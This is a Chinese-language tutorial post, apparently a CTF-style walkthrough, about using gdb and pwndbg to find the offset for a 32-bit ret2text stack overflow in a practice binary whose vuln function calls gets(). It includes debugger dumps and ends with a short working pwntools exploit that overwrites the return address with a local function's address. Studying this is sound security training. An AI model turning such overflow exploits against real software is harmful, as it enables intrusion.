0x01.基础指令

详见:https://zz-zz-955.github.io/hugo-dev/p/gdb%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8%E4%BD%BF%E7%94%A8pwndbg%E6%8F%92%E4%BB%B6/

0x02.使用gdb调试ret2text

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=321b931a0d7856bf5bba57b9ceb0c0fcc1ed737b, for GNU/Linux 3.2.0, not stripped

看到是32位可执行文件,用IDA进行静态调试。

在伪代码中查看vuln函数内容。

int vuln()
{
char s[68]; // [esp+0h] [ebp-48h] BYREF

puts("There is something amazing here, do you know anything?");
gets(s);
return printf("Maybe I will tell you next time !");
}

从中得知漏洞由gets函数触发,现在我们进gdb中进行调试。

反汇编 vulnerable 函数,看看它的结构。

0x0804920d <+43>:    call   0x8049060 <gets@plt> # 漏洞点
0x08049209 <+39>:    lea    eax,[ebp-0x48] # 这一段就是偏移量,0x48换成Dec就是72,之后加上

我们根据上述信息大致画出这样的一个图来表示栈空间情况

高地址
+-----------------------+
| |
| 调用者的栈帧... |
| |
+-----------------------+ <--- 调用前的 ESP
| 返回地址 (EIP) | // 由 call vuln 压入 (目标!)
+-----------------------+ <--- 进入 vuln 后的 ESP
| 保存的 EBP | // push ebp (vuln+0) ← 这里就是当前EBP指向的位置
+-----------------------+ <--- EBP 指向这里 (vuln+1)
| 保存的 EBX | // push ebx (vuln+4)
+-----------------------+
| |
| 分配的空间 (0x44) | // sub esp, 0x44
| |
+-----------------------+ <--- 当前的 ESP
| |
| buf[72字节] | // [ebp - 0x48] ← 你的数据从这里开始写入
| |
+-----------------------+ <--- EBP - 0x48
低地址

启动调试并设置关键断点

# 在`vuln`入口处下断点
b vuln

# 在`gets`调用前下断点
b *0x0804920d

# 在`gets`返回后下断点
b *0x08049212

# 在 ret 指令前下断点
b *0x0804922c

# 运行程序
run

观察进入函数时的栈帧(在 vuln 断点处)

# 查看寄存器
i r

# 记录关键地址
p $ebp
p $esp

此时栈帧状态:

+-----------------------+
| 返回地址 (EIP) | ← ESP指向这里
+-----------------------+
| 保存的 EBP |
+-----------------------+
| 保存的 EBX |
+-----------------------+
| ... |

观察调用 gets 前的栈帧(在 call gets 断点处)

# 继续执行
c

# 再次查看栈帧
stack 20

# 查看 buf 的地址
p $ebp - 0x48

从中我们看到:

  • ESP 指向 gets 的参数(buf的地址)
  • EBP 保持不变
  • 栈上已经分配了局部变量空间

单步执行并输入测试数据

pwndbg> ni
Breakpoint 3, 0x08049212 in vuln ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────
EAX 0xffffd000 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa'
EBX 0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf14 (_DYNAMIC) ◂— 1
*ECX 0xf7faa9c0 (_IO_stdfile_0_lock) ◂— 0
EDX 1
EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0
ESI 0xffffd114 —▸ 0xffffd285 ◂— '/home/zhailin/Binary-Security/Stack Overflow-x86/ret2text/vuln'
EBP 0xffffd048 ◂— 'saaataaa'
ESP 0xffffcff0 —▸ 0xffffd000 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa'
*EIP 0x8049212 (vuln+48) ◂— add esp, 0x10
───────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────
0x8049203 <vuln+33> add esp, 0x10
0x8049206 <vuln+36> sub esp, 0xc
0x8049209 <vuln+39> lea eax, [ebp - 0x48]
0x804920c <vuln+42> push eax
b+ 0x804920d <vuln+43> call gets@plt <gets@plt>

► 0x8049212 <vuln+48> add esp, 0x10 ESP => 0xffffd000 (0xffffcff0 + 0x10)
0x8049215 <vuln+51> sub esp, 0xc ESP => 0xffffcff4 (0xffffd000 - 0xc)
0x8049218 <vuln+54> lea eax, [ebx - 0x1fb0] EAX => 0x804a050 ◂— 'Maybe I will tell you next time !'
0x804921e <vuln+60> push eax
0x804921f <vuln+61> call printf@plt <printf@plt>

0x8049224 <vuln+66> add esp, 0x10
───────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffcff0 —▸ 0xffffd000 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa'
01:0004│-054 0xffffcff4 ◂— 0x20 /* ' ' */
02:0008│-050 0xffffcff8 ◂— 0
03:000c│-04c 0xffffcffc —▸ 0x80491ee (vuln+12) ◂— add ebx, 0x2e12
04:0010│ eax 0xffffd000 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa'
05:0014│-044 0xffffd004 ◂— 'baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa'
06:0018│-040 0xffffd008 ◂— 'caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa'
07:001c│-03c 0xffffd00c ◂— 'daaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa'
─────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────
► 0 0x8049212 vuln+48
1 0x61616174 None
2 0xffffd200 None
Continuing.

Breakpoint 4, 0x0804922c in vuln ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────
*EAX 0x21
*EBX 0x61616172 ('raaa')
*ECX 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
*EDX 0
EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0
ESI 0xffffd114 —▸ 0xffffd285 ◂— '/home/zhailin/Binary-Security/Stack Overflow-x86/ret2text/vuln'
*EBP 0x61616173 ('saaa')
*ESP 0xffffd04c ◂— 'taaa'
*EIP 0x804922c (vuln+74) ◂— ret
───────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────
► 0x804922c <vuln+74> ret <0x61616174>










───────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd04c ◂— 'taaa'
01:0004│ 0xffffd050 —▸ 0xffffd200 ◂— 0x3e8
02:0008│ 0xffffd054 ◂— 0x70 /* 'p' */
03:000c│ 0xffffd058 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0
04:0010│ 0xffffd05c —▸ 0xf7da0519 (__libc_start_call_main+121) ◂— add esp, 0x10
05:0014│ 0xffffd060 ◂— 1
06:0018│ 0xffffd064 —▸ 0xffffd114 —▸ 0xffffd285 ◂— '/home/zhailin/Binary-Security/Stack Overflow-x86/ret2text/vuln'
07:001c│ 0xffffd068 —▸ 0xffffd11c —▸ 0xffffd2c4 ◂— 'HOSTTYPE=x86_64'
─────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────
► 0 0x804922c vuln+74
1 0x61616174 None
2 0xffffd200 None
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 30
Warning: Avoided exploring possible address 0xffccab8b.
You can explicitly explore it with `vmmap-explore 0xffcca000`
00:0000│ esp 0xffffd04c ◂— 'taaa'
01:0004│ 0xffffd050 —▸ 0xffffd200 ◂— 0x3e8
02:0008│ 0xffffd054 ◂— 0x70 /* 'p' */
03:000c│ 0xffffd058 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0
04:0010│ 0xffffd05c —▸ 0xf7da0519 (__libc_start_call_main+121) ◂— add esp, 0x10
05:0014│ 0xffffd060 ◂— 1
06:0018│ 0xffffd064 —▸ 0xffffd114 —▸ 0xffffd285 ◂— '/home/zhailin/Binary-Security/Stack Overflow-x86/ret2text/vuln'
07:001c│ 0xffffd068 —▸ 0xffffd11c —▸ 0xffffd2c4 ◂— 'HOSTTYPE=x86_64'
08:0020│ 0xffffd06c —▸ 0xffffd080 —▸ 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
09:0024│ 0xffffd070 —▸ 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
0a:0028│ 0xffffd074 —▸ 0x804922d (main) ◂— push ebp
0b:002c│ 0xffffd078 ◂— 1
0c:0030│ 0xffffd07c —▸ 0xffffd114 —▸ 0xffffd285 ◂— '/home/zhailin/Binary-Security/Stack Overflow-x86/ret2text/vuln'
0d:0034│ 0xffffd080 —▸ 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
0e:0038│ 0xffffd084 —▸ 0xffffd114 —▸ 0xffffd285 ◂— '/home/zhailin/Binary-Security/Stack Overflow-x86/ret2text/vuln'
0f:003c│ 0xffffd088 —▸ 0xf7ffcb80 (_rtld_global_ro) ◂— 0
10:0040│ 0xffffd08c —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0
11:0044│ 0xffffd090 ◂— 0x8067c5be
12:0048│ 0xffffd094 ◂— 0xcbceafae
13:004c│ 0xffffd098 ◂— 0
... ↓ 2 skipped
16:0058│ 0xffffd0a4 —▸ 0xf7ffcb80 (_rtld_global_ro) ◂— 0
17:005c│ 0xffffd0a8 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0
18:0060│ 0xffffd0ac ◂— 0x8b8b0700
19:0064│ 0xffffd0b0 —▸ 0xf7ffda40 ◂— 0
1a:0068│ 0xffffd0b4 —▸ 0xf7da04a6 (__libc_start_call_main+6) ◂— add ebx, 0x208b5a
1b:006c│ 0xffffd0b8 —▸ 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
1c:0070│ 0xffffd0bc —▸ 0xf7da05f3 (__libc_start_main+147) —▸ 0xffccab8b ◂— 0xffccab8b
1d:0074│ 0xffffd0c0 ◂— 0

esp 0xffffd04c ◂— 'taaa'中得知返回地址已经被覆盖

最后计算出偏移量是76

EXPLOIT

from pwn import *

p = process('./vuln')
pwn_addr = 0x080491A6
payload = b'A' * 76 + p32(pwn_addr) # 68字节填充 + pwn()地址

p.sendline(payload)
p.interactive()
2025-09-20

⬆︎TOP